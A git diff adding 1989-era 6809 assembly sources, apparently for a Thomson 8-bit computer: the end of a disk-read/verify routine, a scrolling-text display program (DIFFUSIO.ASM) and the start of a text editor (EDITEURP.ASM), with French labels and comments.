+       STB    <$D3
+       LDA    #$10
+ATT10  LDB    <$D0
+       BPL    ATT10
+       STA    <$D3
+       DECA
+       BNE    ATT10
+       INC    FLGCNT
+       LBRA   NEXTES
+LECT   LDA    <$D3
+ATT14  LDA    <$D0
+       BPL    ATT14
+       BITA   #$01
+       BNE    LECT
+       CLRB
+       LDX    DEBZON
+       LDA    <$D3
+ATT15  LDA    <$D0
+       BPL    ATT15
+       LDA    <$D3
+       CMPA   #$FB
+       BEQ    ATT16
+       DECB
+       BNE    ATT15
+       BRA    PBLECT
+ATT16  LDA    <$D0
+       BPL    ATT16
+       LDA    <$D3
+       STA    ,X+
+       LEAY   A,Y
+LECZON CMPX   #$0000
+       BNE    ATT16
+       TFR    Y,D
+ATT17  TST    <$D0
+       BPL    ATT17
+       CMPA   <$D3
+       BNE    PBLECT
+ATT18  TST    <$D0
+       BPL    ATT18
+       CMPB   <$D3
+       BEQ    FINPST
+PBLECT DEC    ESSAI
+       LBNE   NEXTES
+       LDA    #$FF
+       STA    FLGERR
+FINPST CLR    <$D0
+       LDA    #$40
+       STA    <$D2
+       LDX    LECZON+1,PCR
+       STX    DEBZON
+       DEC    COMPTP
+       LBNE   NEXTPS
+       DEC    COMPTB
+       LBNE   NEXTBK
+       PULS   CC,A,B,DP,X,Y,U,PC
+
+
+
+TETE   JSR    $E09D
+       JSR    $E0A7
+       JSR    $E45A
+       JSR    $E4A8
+       LDB    ,Y
+       LDA    <$57
+       SUBB   <$4B
+       BEQ    TETE2
+       BPL    TETE0
+       ORA    #$20
+       NEGB
+TETE0  STA     2,X
+TETE1  ORA    #$14
+       STA     2,X
+       ANDA   #$EB
+       STA     2,X
+       JSR    $E165
+       DECB
+       BNE    TETE1
+TETE2  BSR    TETE3
+       LDB    <$4B
+       STB     6,X
+       STB    ,Y
+       JSR    $E341
+       LDB    #$18
+       JSR    $E394
+       LDA    #$E7
+       TFR    A,DP
+       RTS
+TETE3  LDY    #$6052
+       LDA    <$49
+       ANDA   #$02
+       LEAY   A,Y
+       RTS
+
+
+CNTROL LDA    <$D3
+ATT19  LDA    <$D0
+       BPL    ATT19
+       BITA   #$01
+       BNE    CNTROL
+       CLRB
+       LDX    DEBZON
+       LDA    <$D3
+ATT20  LDA    <$D0
+       BPL    ATT20
+       LDA    <$D3
+       CMPA   #$FB
+       BEQ    ATT21
+       DECB
+       BNE    ATT20
+       BRA    PBCNT
+ATT21  LDA    <$D0
+       BPL    ATT21
+       LDA    <$D3
+       CMPA   ,X+
+       BNE    PBCNT
+CNTZON CMPX   #$0000
+       BNE    ATT21
+CHKSUM LDD    #0
+ATT22  TST    <$D0
+       BPL    ATT22
+       CMPA   <$D3
+       BNE    PBCNT
+ATT23  TST    <$D0
+       BPL    ATT23
+       CMPB   <$D3
+       BEQ    FP
+PBCNT  CLR    FLGCNT
+       DEC    ESSAI
+       LBNE   NEXTES
+       LDA    #$FF
+       STA    FLGERR
+FP     CLR    FLGCNT
+       LBRA   FINPST
+
+
+
+
+FIN    NOP
+
+       END
diff --git a/code/3rdparty/sources3-lambinet/unknown/DIFFUSIO.ASM b/code/3rdparty/sources3-lambinet/unknown/DIFFUSIO.ASM
new file mode 100644
index 0000000..392a3b6
--- /dev/null
+++ b/code/3rdparty/sources3-lambinet/unknown/DIFFUSIO.ASM
@@ -0,0 +1,867 @@
+****** 10/10/89 *******
+******  P.I.O.  *******
+******  V 1.02  *******
+******  EQUATES  ******
+
+T      EQU    $8000
+DIXIEM EQU    T
+SECOND EQU    T+1
+MINUTE EQU    T+2
+HEURE  EQU    T+3
+JOUR   EQU    T+4
+MOIS   EQU    T+5
+ANNEE  EQU    T+6
+AFTIME EQU    T+7
+TEXT   EQU    T+8
+DEBTXT EQU    T+10
+PTEXT  EQU    T+12
+QUART  EQU    T+14
+PTCAR  EQU    T+15
+
+SAVS1  EQU    T+19
+SAVS2  EQU    T+21
+LINAFF EQU    T+23
+ZONE   EQU    T+24
+GECAR  EQU    T+26
+VITES  EQU    T+28
+FLVIT  EQU    T+29
+COMPT  EQU    T+30
+APPRO  EQU    T+31
+SAVCAR EQU    T+32
+TABCOU EQU    T+34
+TABCO0 EQU    T+36
+TABCOD EQU    T+244
+NBRBOU EQU    T+372
+TABBOU EQU    T+373   20 boucles maxi
+TABSPG EQU    T+433   50 sprog maxi
+TURBO0 EQU    T+533
+TURBO1 EQU    TURBO0+$7D0
+MEMSC0 EQU    TURBO1+$7D0
+MEMSC1 EQU    MEMSC0+$2A0
+PROG   EQU    MEMSC1+$2A0
+
+TIMER  EQU    $E7C6
+
+******  INITIALISATION  ******
+
+       ORG    PROG
+G      PSHS   U,Y,X,DP,B,A,CC
+       LDB    #$14
+       JSR    $E803
+       LDA    $6019
+       ORA    #2
+       STA    $6019
+       LDB    #$FA
+       JSR    $E806
+       LDD    #$FB04
+       STA    $E7CC
+       STB    $E7CE
+       ORCC   #$50
+       LDX    #$8000
+       LDU    #0
+CLEAR  STU    ,X++
+       CMPX   #$8400
+       BNE    CLEAR
+       STS    SAVS1
+       LDA    #3
+       STA    APPRO
+       STA    QUART
+       LDA    #$24
+       STA    $E7E6
+       LDX    #$0004
+       STX    DEBTXT
+       STX    PTEXT
+       LDX    #$0200
+       STX    VITES
+       LDX    #$9800
+       STX    GECAR
+       LDA    #8
+       STA    $E7E5
+       LDX    #TABCO0
+       STX    TABCOU
+       LDD    #$4080
+C0     STA    64,X
+       STB    48,X
+       STB    32,X
+       STA    16,X
+       STB    ,X+
+       ADDA   #8
+       INCB
+       CMPB   #$88
+       BNE    C0
+       CLRA
+       CLRB
+C1     STA    64,X
+       STB    48,X
+       STB    32,X
+       STA    16,X
+       STB    ,X+
+       ADDA   #8
+       INCB
+       CMPB   #$8
+       BNE    C1
+       LDX    #TABCOD
+       CLR    COMPT
+C2     LDA    COMPT
+       CMPA   #128
+       BNE    C23
+       LEAX   -256,X
+C23    CLRB
+       LSRA
+       BCC    C3
+       ORB    #8
+C3     LSRA
+       BCC    C4
+       ORB    #$10
+C4     LSRA
+       BCC    C5
+       ORB    #$20
+C5     LSRA
+       BCC    C6
+       ORB    #1
+C6     LSRA
+       BCC    C7
+       ORB    #2
+C7     LSRA
+       BCC    C8
+       ORB    #4
+C8     LSRA
+       BCC    C9
+       ORB    #$80
+C9     LSRA
+       BCC    C10
+       ORB    #$40
+C10    STB    ,X+
+       INC    COMPT
+       BNE    C2
+       LDX    #TURBO0
+       BSR    H10
+       LDX    #TURBO1
+       BSR    H10
+       LDX    #TURBO1+6
+       LDU    #MEMSC1+1
+       STU    ,X
+       LDA    #0
+       STA    LINAFF
+       LBRA   INTER
+
+H10    LEAX   7,X
+       LDY    #TURBO-1
+       LDA    #16
+I0     LDU    ,Y++
+       LDB    #64
+I1     STU    ,X
+       LEAX   31,X
+       DECB
+       BNE    I1
+       LEAX   -1982,X
+       DECA
+       BNE    I0
+       LEAX   -39,X
+       LDD    #$10FF
+       LDU    #SAVS2
+       STD    ,X++
+       STU    ,X++
+       LDB    #$CE
+       LDU    #MEMSC0+1
+       STD    ,X++
+       STU    ,X
+       LEAX   1986,X
+       LDU    #$8400
+       STU    ,X++
+       LDU    #SAVS2
+       LDB    #$FE
+       STD    ,X++
+       STU    ,X++
+       LDA    #$39
+       STA    ,X
+       RTS
+
+INITOU STB    LINAFF
+       BSR    INIZON
+       BSR    INICOU
+       BSR    INIFOR
+       LBSR   INIMS0
+       LBSR   INIMS1
+       LBRA   INITUR
+
+TURBO  PULS   CC,A,B,DP,X,Y,U
+       LEAS   -1,S
+       PSHS   U,Y,X,DP,B,A,CC
+       LEAS   -$5AC6,S
+       PSHS   U,Y,X,DP,B,A,CC
+       LEAS   50,S
+       PSHS   U,Y,X,DP,B,A,CC
+       LEAS   50,S
+       PSHS   U,Y,X,DP,B,A,CC
+       LEAS   50,S
+       PSHS   U,Y,X,DP,B,A,CC
+       LEAS   $5A63,S
+
+INIZON LDA    LINAFF  Calcule la fin
+       CMPA   #34       de la zone
+       LBHI   FINIZO
+       LDB    #160
+       MUL
+       ADDD   #$4A00
+       STD    ZONE
+FINIZO RTS
+
+INICOU LDU    ZONE    Initial. des
+       BSR    RAMB      couleurs
+       LDX    #$C0C0
+       LDY    #$C0C0
+       LDD    #$C000
+I3     PSHU   Y,X,A
+       PSHU   Y,X,A
+       DECB
+       BNE    I3
+       RTS
+
+INIFOR LDU    ZONE    Efface la zone
+       LDA    $E7C3   par initial. de
+       ORA    #1      la forme à $F0
+       STA    $E7C3
+       LDX    #$F0F0
+       LDY    #$F0F0
+       LDD    #$F000
+I2     PSHU   Y,X,A
+       PSHU   Y,X,A
+       DECB
+       BNE    I2
+RAMB   LDA    $E7C3
+       ANDA   #$FE
+       STA    $E7C3
+       RTS
+
+INIMS0 LDU    #MEMSC0+672
+       LDX    TABCOU
+       LDA    ,X
+       ADDA   16,X
+       TFR    A,B
+       TFR    D,X
+       TFR    D,Y
+       LDB    #168
+PI0    PSHU   X,Y
+       DECB
+       BNE    PI0
+       RTS
+
+INIMS1 LDU    #MEMSC1+672
+       LDX    TABCOU
+       LDA    16,X
+       ADDA   32,X
+       TFR    A,B
+       TFR    D,X
+       TFR    D,Y
+       LDB    #168
+PI1    PSHU   X,Y
+       DECB
+       BNE    PI1
+       RTS
+
+INITUR LDU    ZONE
+       LEAU   -$9F6-MEMSC0,U
+       LDY    #TURBO0+6
+       TFR    U,D
+       NEGA
+       COMB
+       TFR    D,X
+       LEAX   -$162,X
+       LDA    #16
+I4     LDB    #4
+I5     LEAY   10,Y
+       STU    ,Y
+       LEAY   21,Y
+       STX    ,Y
+       DECB
+       BNE    I5
+       LEAX   2,X
+       STX    ,Y
+       LEAU   $76,U
+       LEAX   -$78,X
+       DECA
+       BNE    I4
+       LDU    ZONE
+       LEAU   -$9F6-MEMSC1,U
+       LDY    #TURBO1+6
+       TFR    U,D
+       NEGA
+       COMB
+       TFR    D,X
+       LEAX   -$162,X
+       LDA    #16
+I6     LDB    #4
+I7     LEAY   10,Y
+       STU    ,Y
+       LEAY   21,Y
+       STX    ,Y
+       DECB
+       BNE    I7
+       LEAX   2,X
+       STX    ,Y
+       LEAU   $76,U
+       LEAX   -$78,X
+       DECA
+       BNE    I6
+       RTS
+
+MEMZON LBSR   INIZON
+       LDU    #MEMSC0+$29E
+       LDY    ZONE
+       LDA    #16
+MZO0   LDB    #20
+MZO1   LDX    ,--Y
+       PSHU   X
+       DECB
+       BNE    MZO1
+       LEAY   -$78,Y
+       LEAU   -2,U
+       DECA
+       BNE    MZO0
+       LBRA   INITUR
+
+ATTRAM LDA    #$31
+       STA    $E7C1
+ATTRA0 LDA    $E7E7
+       BPL    ATTRA0
+TRAME  LDA    $E7E7
+       BMI    TRAME
+       LDA    #$30
+       STA    $E7C1
+       RTS
+
+INTER  BSR    ATTRAM
+       LDX    #$30D4
+       STX    TIMER
+       BSR    QUICK
+UN     LDX    TIMER
+       CMPX   #$2710
+       BHI    UN
+       BSR    QUICK
+DEUX   LDX    TIMER
+       CMPX   #$1D4C
+       BHI    DEUX
+       BSR    QUICK
+TROIS  LDX    TIMER
+       CMPX   #$1388
+       BHI    TROIS
+       BSR    QUICK
+QUATRE LDX    TIMER
+       CMPX   #$09C4
+       BHI    QUATRE
+       BSR    QUICK
+       BRA    INTER
+
+QUICK  LDA    $E7C3
+       BITA   #8
+       LBEQ   FINAL
+       LDA    VITES
+       CMPA   #1
+       BNE    V023
+       COM    FLVIT
+       LBEQ   TURBO0
+V023   LDA    QUART
+       CMPA   APPRO
+       BLO    ANCCAR
+       LDX    PTEXT
+       LDA    ,X+
+       STX    PTEXT
+       CMPA   #$20
+       LBLO   CARSPC
+       STA    SAVCAR
+       CLR    QUART
+       LDB    #64
+       MUL
+       ADDD   GECAR
+       BRA    AFFICH
+ANCCAR INCA
+       STA    QUART
+       CMPA   #4
+       BLO    PASAPP
+       LDD    #$800
+       ADDD   GECAR
+       BRA    AFFICH
+PASAPP LDD    PTCAR
+       ADDD   #16
+AFFICH STD    PTCAR
+       LDA    VITES
+       BEQ    GLIMEM
+       BSR    MODMEM
+       LDA    VITES
+       CMPA   #1
+       BNE    V23
+       LBRA   TURBO1
+V23    LBSR   TURBO0
+       LDA    VITES
+       CMPA   #2
+       BLS    SV
+       INC    QUART
+       LDD    PTCAR
+       ADDD   #16
+       STD    PTCAR
+GLIMEM BSR    MODMEM
+       LDU    #MEMSC0+1
+       LDA    #16
+GL0    LDB    #8
+GL1    PULU   X,Y,DP
+       LEAU   -1,U
+       PSHU   X,Y,DP
+       LEAU   6,U
+       DECB
+       BNE    GL1
+       LEAU   2,U
+       DECA
+       BNE    GL0
+SV     RTS
+MODMEM LDX    PTCAR
+       LDY    TABCOU
+       LDU    #MEMSC0+41
+B2     LDA    ,U
+       ANDA   #$0F
+       ORA    #$10
+       LDB    A,Y
+       LDA    ,X
+       STA    ,U
+       LSRA
+       LSRA
+       LSRA
+       LSRA
+       ADDB   A,Y
+       STB    671,U
+       ORA    #$10
+       LDB    A,Y
+       LDA    ,X+
+       ANDA   #$0F
+       ADDB   A,Y
+       STB    -1,U
+       LEAU   42,U
+       CMPU   #MEMSC1
+       BLO    B2
+       RTS
+
+CARSPC ORCC   #$50
+       COM    FLVIT
+       LDU    #DISPAT
+       LSLA
+       JMP    [A,U]
+
+DISPAT FDB    NUL,APP,BOU,COU,DEB,EFF
+       FDB    FIN,GEC,HEU,INV,JOU,KLI
+       FDB    LAR,MIX,NUL,ORI,PAU,NUL
+       FDB    REP,SPG,TRA,UTI,VIT,NUL
+       FDB    NUL,NUL,NUL,NUL,NUL,NUL
+       FDB    NUL,NUL
+
+INPUT  LDB    ,X+
+       CMPB   #10
+       LBHI   QUICK
+       LDA    #10
+       MUL
+       TFR    D,U
+       LDB    ,X+
+       CMPB   #10
+       LBHI   QUICK
+       LEAU   B,U
+       TFR    U,D
+       STX    PTEXT
+       RTS
+
+NUL    RTS
+
+APP    LDA    ,X+
+       STX    PTEXT
+       CMPA   #3
+       BHI    NUL
+       ADDA   #3
+       STA    APPRO
+       LBRA   QUICK
+BOU    LDA    NBRBOU
+       INCA
+       STA    NBRBOU
+       CMPA   #16
+       BLS    BOUD
+BOUR   LDD    ,X+
+       CMPD   #$0602
+       BNE    BOUR
+       STD    PTEXT
+       DEC    NBRBOU
+       BRA    NUL
+BOUD   LDY    #TABBOU
+       LEAY   A,Y
+       LEAY   A,Y
+       LEAY   A,Y
+       BSR    INPUT
+       STB    ,Y+
+       BEQ    BOUR
+       STX    ,Y
+       LBRA   QUICK
+COU    LDA    ,X+
+       CMPA   #1
+       BNE    COUI
+       BSR    CINPUT
+       BRA    COUA
+CINPUT LDD    ,X++
+       STX    PTEXT
+       CMPA   #15
+       LBHI   QUICK
+       CMPB   #15
+       LBHI   QUICK
+       RTS
+COUA   PSHS   A,B
+       LDX    #TABCO0
+       LEAY   48,X
+       LDB    B,Y
+       STB    A,X
+       ORA    #$20
+       STB    A,X
+       PULS   B,A
+       ORB    #$10
+       LDB    B,Y
+       ORA    #$10
+       STB    A,X
+       LBRA   QUICK
+COUI   CMPA   #9
+       BNE    COUP
+       BSR    CINPUT
+       PSHS   A,B
+       LDX    #TABCO0
+       LDA    B,X
+       LDB    ,S
+       LDB    B,X
+       PSHS   B
+       LDB    1,S
+       STA    B,X
+       PULS   B
+       LDA    1,S
+       STB    A,X
+       LEAX   16,X
+       LDB    1,S
+       LDA    B,X
+       LDB    ,S
+       LDB    B,X
+       PSHS   B
+       LDB    1,S
+       STA    B,X
+       PULS   B
+       LDA    1,S
+       STB    A,X
+       LDX    #TABCO0
+       PULS   A,B
+       LEAX   A,X
+       LDA    ,X
+       STA    32,X
+       LDX    #TABCO0
+       LEAX   B,X
+       LDA    ,X
+       STA    32,X
+       LBRA   QUICK
+COUP   CMPA   #16
+       BNE    COUR
+       CLRB
+COUP0  LDU    #TABCO0
+       LDA    ,X+
+       CMPA   #15
+       BHI    COUP1
+       LEAY   A,U
+       LEAU   B,U
+       LDA    48,Y
+       STA    ,U
+       STA    32,U
+       LDA    64,Y
+       STA    16,U
+COUP1  INCB
+       CMPB   #16
+       BNE    COUP0
+       STX    PTEXT
+       LBRA   QUICK
+COUR   CMPA   #18
+       BNE    COUT
+       STX    PTEXT
+       LDB    #8
+       LDX    #TABCO0
+BCOUR  LDU    64,X
+       STU    16,X
+       LDU    48,X
+       STU    32,X
+       STU    ,X++
+       DECB
+       BNE    BCOUR
+       LBRA   QUICK
+COUT   CMPA   #20
+       BNE    SCOUT
+       LDA    ,X+
+       STX    PTEXT
+       CMPA   #15
+       BHI    SCOUT
+       CMPA   #8
+       BLO    ADDCOU
+       ADDA   #$18
+ADDCOU ADDA   #$60
+       LDB    #$1B
+       JSR    $E803
+       TFR    A,B
+       JSR    $E803
+       LBSR   RAMB
+SCOUT  LBRA   QUICK
+
+DEB    LDX    DEBTXT
+       STX    PTEXT
+       LBRA   QUICK
+
+EFF    LDU    #$5F40
+       LDA    $E7C3
+       ORA    #1
+       STA    $E7C3
+       LDA    #$F0
+       TFR    A,DP
+       LDX    #$F0F0
+       LDY    #$F0F0
+       LDA    #10
+EFFT0  LDB    #160
+EFFT1  PSHU   DP,X,Y
+       DECB
+       BNE    EFFT1
+       DECA
+       BNE    EFFT0
+       LBSR   RAMB
+       LDU    #$5F40
+       LDX    TABCOU
+       LDA    ,X
+       ORA    16,X
+       TFR    A,B
+       TFR    A,DP
+       TFR    D,X
+       TFR    D,Y
+       LDA    #10
+EFFT2  LDB    #160
+EFFT3  PSHU   DP,X,Y
+       DECB
+       BNE    EFFT3
+       DECA
+       BNE    EFFT2
+       LBRA   ATTKLI
+
+FIN    LDA    ,X+
+       CMPA   #2
+       LBHI   QUICK
+       BEQ    FINB
+FINAL  CLR    $E7E6
+       LDD    #$F71F
+       STA    $E7CC
+       STB    $E7CE
+       LDA    #$31
+       STA    $E7C1
+       LDS    SAVS1
+K      PULS   CC,A,B,DP,X,Y,U,PC
+FINB   CMPA   #2
+       LBNE   QUICK
+       LDA    NBRBOU
+       LDU    #TABBOU
+       LEAU   A,U
+       LEAU   A,U
+       LEAU   A,U
+       DEC    ,U+
+       BEQ    FINC
+       LDX    ,U
+       STX    PTEXT
+       LBRA   QUICK
+FINC   DEC    NBRBOU
+       STX    PTEXT
+       BRA    FINC-3
+
+GEC    LDA    ,X+
+       STX    PTEXT
+       CMPA   #3
+       LBHI   QUICK
+       LDB    #8
+       BITA   #2
+       BEQ    GEC0
+       LDB    #9
+GEC0   STB    $E7E5
+       BITA   #1
+       BNE    GEC1
+       LDX    #$9800
+       BRA    GEC1+3
+GEC1   LDX    #$B800
+       STX    GECAR
+       LBRA   QUICK
+
+INV    LDX    #TABCO0
+       LDD    ,X
+       EXG    A,B
+       STD    ,X
+       STD    32,X
+       LDD    16,X
+       EXG    A,B
+       STD    16,X
+       LBRA   QUICK
+
+KLI    LBSR   INPUT
+       STB    COMPT
+       LEAS   -1,S
+BC     LDU    ZONE
+       LDX    TABCOU
+       LDA    ,X
+       ADDA   16,X
+       TFR    A,B
+       TFR    D,X
+       TFR    D,Y
+       LDB    #$A0
+BC0    PSHU   X,Y
+       PSHU   X,Y
+       PSHU   X,Y
+       PSHU   X,Y
+       DECB
+       BNE    BC0
+       LDX    #$6000
+BC1    LEAX   -1,X
+       BNE    BC1
+       LDY    ZONE
+       LEAY   -$A00+5,Y
+       LDU    #MEMSC0
+       LDA    #8
+       STA    ,S
+BC2    PULU   DP,A,B,X
+       EXG    Y,U
+       PSHU   X,B,A,DP
+       LEAU   45,U
+       PSHU   X,B,A,DP
+       LEAU   45,U
+       PSHU   X,B,A,DP
+       LEAU   45,U
+       PSHU   X,B,A,DP
+       LEAU   -$6E,U
+       EXG    Y,U
+       DEC    ,S
+       BNE    BC2
+       LDA    #8
+       STA    ,S
+       LEAU   2,U
+       LEAY   $78,Y
+       CMPY   ZONE
+       BLO    BC2
+       LDX    #$C000
+BC3    LEAX   -1,X
+       BNE    BC3
+       DEC    COMPT
+       BNE    BC
+       LEAS   1,S
+
+ATTKLI LDX    TIMER
+       CMPX   #$9FF
+       BLO    ATTKLI
+       RTS
+
+ORI    LBSR   INPUT
+       CMPB   #34
+       LBHI   QUICK
+       LBSR   INITOU
+       LBRA   MEMZON
+
+PAU    LBSR   INPUT
+       LSLB
+TEMPO  LDX    #0
+       LEAX   -1,X
+       BNE    TEMPO+3
+       DECB
+       BNE    TEMPO
+       LBRA   ATTKLI
+
+TRA    LBSR   INPUT
+       CMPB   #34
+       LBHI   QUICK
+       SUBB   LINAFF
+       LBEQ   QUICK
+       BMI    MON0
+       STB    COMPT
+DES1   INC    LINAFF
+       LBSR   INIZON
+       LBSR   ATTRAM
+       LDU    ZONE
+       LEAU   -$A5,U
+       LDA    #16
+DES2   LDB    #8
+DES3   PULU   X,Y,DP
+       LEAU   $28,U
+       PSHU   X,Y,DP
+       LEAU   $2D,U
+       PSHU   X,Y,DP
+       LEAU   $2D,U
+       PSHU   X,Y,DP
+       LEAU   $2D,U
+       PSHU   X,Y,DP
+       LEAU   -$A5,U
+       DECB
+       BNE    DES3
+       LEAU   -$78,U
+       DECA
+       BNE    DES2
+       DEC    COMPT
+       BNE    DES1
+       BRA    TRAS
+MON0   NEGB
+       STB    COMPT
+MON1   DEC    LINAFF
+       LBSR   INIZON
+       LDU    ZONE
+       LEAU   -$960,U
+       LDA    #16
+MON2   LDB    #8
+MON3   PULU   X,Y,DP
+       LEAU   -$28,U
+       PSHU   X,Y,DP
+       LEAU   -$23,U
+       PSHU   X,Y,DP
+       LEAU   -$23,U
+       PSHU   X,Y,DP
+       LEAU   -$23,U
+       PSHU   X,Y,DP
+       LEAU   $A5,U
+       DECB
+       BNE    MON3
+       LEAU   $78,U
+       DECA
+       BNE    MON2
+       LBSR   ATTRAM
+       DEC    COMPT
+       BNE    MON1
+
+TRAS   LBSR   MEMZON
+       LBRA   ATTKLI
+
+VIT    LDA    ,X+
+       STX    PTEXT
+       CMPA   #3
+       LBHI   QUICK
+       STA    VITES
+       CMPA   #2
+       LBEQ   QUICK
+       CLR    FLVIT
+       LDU    #TABCOD
+       LDX    #MEMSC0
+B3     LDB    #39
+B4     LDA    ,X+
+       ANDA   #$87
+       LEAY   A,U
+       LDA    ,X
+       ANDA   #$78
+       LDA    A,Y
+       STA    $2A0,X
+       DECB
+       BNE    B4
+       LEAX   3,X
+       CMPX   #MEMSC1
+       BLO    B3
+       LBRA   QUICK
+
+
+HEU    RTS
+JOU    RTS
+LAR    RTS
+MIX    RTS
+REP    RTS
+SPG    RTS
+UTI    RTS
+
+       END
diff --git a/code/3rdparty/sources3-lambinet/unknown/EDITEURP.ASM b/code/3rdparty/sources3-lambinet/unknown/EDITEURP.ASM
new file mode 100644
index 0000000..10cf881
--- /dev/null
+++ b/code/3rdparty/sources3-lambinet/unknown/EDITEURP.ASM
@@ -0,0 +1,813 @@
+
+******** EDITEUR *******
+
+M      EQU    $C000
+COMPT  EQU    M
+COMPTL EQU    M+1
+FLGCOM EQU    M+2
+TYPPAR EQU    M+3
+DEBTXT EQU    M+4
+PTEXT  EQU    M+6
+FINTXT EQU    M+8
+LIMTXT EQU    M+10
+PTRCOU EQU    M+12
+GECAR  EQU    M+14
+CCAR   EQU    M+16
+CCOM   EQU    M+17
+CPAR   EQU    M+18
+CGRA   EQU    M+19
+CERR   EQU    M+20
+CFILET EQU    M+21
+CRIEN  EQU    M+22
+FLGCLI EQU    M+24
+FLGMOD EQU    M+25
+MCAR   EQU    M+26
+MCOM   EQU    M+28
+MPAR   EQU    M+30
+MGRA   EQU    M+32
+MACC   EQU    M+34
+FLGACG EQU    M+36
+PTRGRA EQU    M+37
+PILEB  EQU    M+38
+
+MEMCOU EQU    $C100   /$C2B7
+
+******** PROGRAMME *******
+
+       ORG    $C800
+G      LDB    #$1B
+       JSR    $E803
+       LDB    #$60
+       JSR    $E803
+       LDX    #$C300
+       STX    DEBTXT
+       LDX    #$C328
+       STX    PTEXT
+       LDX    #$C350
+       STX    FINTXT
+       LDX    #$C7FF
+       STX    LIMTXT
+       LDX    #$A001
+       STX    GECAR
+       LDX    #$F8C3
+       STX    CCAR
+       LDX    #$C6D0
+       STX    CPAR
+       LDX    #$D1E0
+       STX    CERR
+       LDX    #$E000
+       STX    CRIEN
+       LDX    #$6000
+       STX    MCAR
+       LDX    #$6496
+       STX    MACC
+       LDX    #$631F
+       STX    MCOM
+       LDX    #$661E
+       STX    MPAR
+       LDX    #$621D
+       STX    MGRA
+       LDX    #0
+       STX    FLGCLI
+       LDA    #20
+       STA    PTRGRA
+       LBRA   PREPEC
+
+INSERT LDU    FINTXT
+       CMPU   LIMTXT
+       LBHS   GETC
+       LEAU   1,U
+       STU    FINTXT
+       PSHS   B
+       LDX    PTEXT
+       STX    INS4+2,PCR
+       LEAX   40,X
+       STX    INS2+2,PCR
+       CMPX   FINTXT
+       BHS    INS3
+INS1   LEAU   -7,U
+       PULU   X,Y,A,B,DP
+       LEAU   1,U
+       PSHU   X,Y,A,B,DP
+       LEAU   -8,U
+       PULU   X,Y,A,B,DP
+       LEAU   1,U
+       PSHU   X,Y,A,B,DP
+       LEAU   -8,U
+       PULU   X,Y,A,B,DP
+       LEAU   1,U
+       PSHU   X,Y,A,B,DP
+       LEAU   -8,U
+       PULU   X,Y,A,B,DP
+       LEAU   1,U
+       PSHU   X,Y,A,B,DP
+       LEAU   -8,U
+       PULU   X,Y,A,B,DP
+       LEAU   1,U
+       PSHU   X,Y,A,B,DP
+       LEAU   -1,U
+INS2   CMPU   #0
+       BHI    INS1
+INS3   LDA    ,-U
+       STA    1,U
+INS4   CMPU   #0
+       BHI    INS3
+       PULS   B
+       LDX    PTEXT
+       STB    ,X+
+       STX    PTEXT
+       LBRA   AFFICH
+
+DELETE LDX    PTEXT
+       CMPX   FINTXT
+       LBHI   GETC
+       TFR    X,U
+       LDX    FINTXT
+       STX    DEL4+2,PCR
+       LEAX   -1,X
+       STX    FINTXT
+       LEAX   -39,X
+       STX    DEL2+2,PCR
+       STX    DEL0+2,PCR
+       LEAU   1,U
+DEL0   CMPU   #0000
+       BHS    DEL3
+DEL1   PULU   X,Y,A,B,DP
+       LEAU   -1,U
+       PSHU   X,Y,A,B,DP
+       LEAU   8,U
+       PULU   X,Y,A,B,DP
+       LEAU   -1,U
+       PSHU   X,Y,A,B,DP
+       LEAU   8,U
+       PULU   X,Y,A,B,DP
+       LEAU   -1,U
+       PSHU   X,Y,A,B,DP
+       LEAU   8,U
+       PULU   X,Y,A,B,DP
+       LEAU   -1,U
+       PSHU   X,Y,A,B,DP
+       LEAU   8,U
+       PULU   X,Y,A,B,DP
+       LEAU   -1,U
+       PSHU   X,Y,A,B,DP
+       LEAU   8,U
+DEL2   CMPU   #0
+       BLO    DEL1
+DEL3   LDA    ,U+
+       STA    -2,U
+DEL4   CMPU   #0
+       BLO    DEL3
+       LBRA   AFFICH
+
+PREPEC LDA    $E7C3
+       ORA    #1
+       STA    $E7C3
+       LDU    #$5F40
+       LDX    #0
+       TFR    X,Y
+       LDA    #10
+FOND0  LDB    #200
+FOND1  PSHU   X,Y
+       DECB
+       BNE    FOND1
+       DECA
+       BNE    FOND0
+       LDU    #$5F40
+       LDX    #$FFFF
+       TFR    X,Y
+       LDA    #12
+FILET0 LDB    #20
+FILET1 PSHU   X,Y
+       DECB
+       BNE    FILET1
+       LEAU   -$280,U
+       DECA
+       BNE    FILET0
+
+       LDA    $E7C3
+       ANDA   #$FE
+       STA    $E7C3
+       LDU    #$5F40
+       LDA    CFILET
+       TFR    A,B
+       TFR    D,X
+       TFR    D,Y
+       LDA    #12
+FILET2 LDB    #20
+FILET3 PSHU   X,Y
+       DECB
+       BNE    FILET3
+       LEAU   -$280,U
+       DECA
+       BNE    FILET2
+
+AFFICH LDA    #11
+       STA    COMPTL
+       LDA    #40
+       STA    COMPT
+       LDA    $E7C3
+       ORA    #1
+       STA    $E7C3
+       LDU    #MEMCOU
+       LDY    #$40F0
+       LDX    PTEXT
+       LEAX   -$E0,X
+       CMPX   DEBTXT
+       LBHS   AT2
+AT0    LDD    CRIEN
+       STA    ,U+
+       LDD    #$FF00
+       STB    -$78,Y
+       STB    -$50,Y
+       STB    -$28,Y
+       STA    ,Y
+       STA    $28,Y
+       STB    $50,Y
+       STB    $78,Y
+       LEAY   $118,Y
+       STB    -$78,Y
+       STB    -$50,Y
+       STA    -$28,Y
+       STA    ,Y
+       STB    $28,Y
+       STB    $50,Y
+       STB    $78,Y
+       LEAY   -$117,Y
+       DEC    COMPT
+       BNE    AT1
+       DEC    COMPTL
+       LDA    #40
+       STA    COMPT
+       LEAY   680,Y
+AT1    LEAX   1,X
+       CMPX   DEBTXT
+       BLO    AT0
+AT2    STU    PTRCOU
+       LBRA   AT19
+AT3    LDB    ,X+
+       CMPB   #$90
+       BLO    AT4
+       SUBB   #$90
+       LBRA   GRAPH
+AT4    CMPB   #$20
+       LBHS   CARA
+AT5    LDA    FLGCOM
+       BMI    AT13
+       LBNE   AT18
+       CMPB   #3
+       BNE    AT6
+       LDU    #$8300
+       LBRA   COMSET
+AT6    CMPB   #6
+       BNE    AT7
+       LDU    #$8600
+       LBRA   COMSET
+AT7    CMPB   #4
+       BEQ    AT8
+       CMPB   #5
+       BEQ    AT8
+       CMPB   #9
+       BNE    AT9
+AT8    LDU    #0
+       LBRA   COMSET
+AT9    CMPB   #1
+       BEQ    AT10
+       CMPB   #7
+       BEQ    AT10
+       CMPB   #22
+       BNE    AT11
+AT10   LDU    #$0101
+       LBRA   COMSET
+AT11   CMPB   #2
+       BEQ    AT12
+       CMPB   #11
+       BEQ    AT12
+       CMPB   #15
+       BEQ    AT12
+       CMPB   #16
